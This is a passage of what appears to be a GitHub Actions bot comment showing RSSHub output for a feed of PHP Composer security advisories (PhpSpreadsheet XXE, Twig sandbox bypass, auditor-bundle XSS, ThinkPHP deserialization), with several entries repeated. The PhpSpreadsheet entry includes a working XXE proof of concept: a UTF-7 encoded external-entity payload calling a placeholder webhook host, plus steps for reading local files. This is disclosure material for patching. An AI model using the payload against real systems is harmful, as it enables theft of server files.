        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
  </channel>
</rss>

...

@github-actions GitHub Actions
Copy link
Contributor

http://localhost:1200/github-advisor/data/composer - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - composer</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data/composer" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - composer - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:19:16 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[damienharper/auditor-bundle] auditor-bundle vulnerable to Cross-site Scripting because name of entity does not get escaped</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unescaped entity property enables Javascript injection.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;I think this is possible because %source_label% in twig macro is not escaped. Therefore script tags can be inserted and are executed.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;clone example project &lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle-demo&quot;&gt;https://github.com/DamienHarper/auditor-bundle-demo&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;create author with FullName &lt;/li&gt;
        &lt;li&gt;delete author&lt;/li&gt;
        &lt;li&gt;view audit of authors&lt;/li&gt;
        &lt;li&gt;alert is displayed&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;persistent XSS. JS can be injected and executed.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle/security/advisories/GHSA-78vg-7v27-hj67&quot;&gt;https://github.com/DamienHarper/auditor-bundle/security/advisories/GHSA-78vg-7v27-hj67&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle/commit/42ba2940d8b99467de0c806ea5655cc1c6882cd1&quot;&gt;https://github.com/DamienHarper/auditor-bundle/commit/42ba2940d8b99467de0c806ea5655cc1c6882cd1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45592&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45592&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-78vg-7v27-hj67&quot;&gt;https://github.com/advisories/GHSA-78vg-7v27-hj67&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-78vg-7v27-hj67</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-78vg-7v27-hj67</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[topthink/framework] ThinkPHP deserialization vulnerability</title>
      <description>&lt;p&gt;A deserialization vulnerability in Thinkphp v6.1.3 to v8.0.4 allows attackers to execute arbitrary code.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-44902&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-44902&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/fru1ts/CVE-2024-44902&quot;&gt;https://github.com/fru1ts/CVE-2024-44902&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;http://thinkphp.com/&quot;&gt;http://thinkphp.com&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-f4wh-359g-4pq7&quot;&gt;https://github.com/advisories/GHSA-f4wh-359g-4pq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-f4wh-359g-4pq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-f4wh-359g-4pq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
